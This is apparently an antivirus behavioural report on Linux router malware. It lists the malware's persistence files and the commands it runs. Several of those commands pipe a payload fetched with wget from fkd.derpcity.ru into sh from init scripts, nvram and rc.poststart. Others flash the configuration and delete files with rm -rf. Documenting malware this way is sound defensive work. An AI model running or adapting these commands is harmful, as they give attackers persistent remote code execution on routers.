Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/rcS.bak
- /etc/init.d/rcS
- /etc/persistent/rc.poststart
Malicious functions:
Launches itself as a daemon
Modifies router settings:
- /bin/nvram
- /bin/cfgmtd
Launches processes:
- sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
- cat /etc/init.d/rcS
- grep -v wget
- sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
- sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
- cat /etc/init.d/rcS.bak
- sh -c rm -rf /etc/init.d/rcS.bak
- rm -rf /etc/init.d/rcS.bak
- sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
- sh -c nvram commit > /dev/null 2>&1
- sh -c ( echo \"sleep 120 && wget -q -O - http://fkd.derpcity.ru/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1
- sh -c chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1
- chmod 755 /etc/persistent/rc.poststart
- sh -c cfgmtd -w -p /etc/ > /dev/null 2>&1
- sh -c ( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1
- sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
- sleep 432000
- sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
- rm -rf /var/run/wgsh
- sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
- rm -rf /var/run/bbsh
- sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
- rm -rf /var/run/tty1
- sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
- rm -rf /var/run/tty2
- rm -rf /var/run/tty3
- sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
- rm -rf /var/run/tty4
- sh -c rm -rf /var/run/tty6 > /dev/null 2>&1 &
- rm -rf /var/run/tty5
- sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
- rm -rf /var/run/tty6
Performs operations with the file system:
Deletes files:
- /etc/init.d/rcS.bak
- /var/run/wgsh
- /var/run/bbsh
- /var/run/tty1
- /var/run/tty2
- /var/run/tty3
- /var/run/tty4
- /var/run/tty5
- /var/run/tty6
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:63008
Other:
Collects OS information
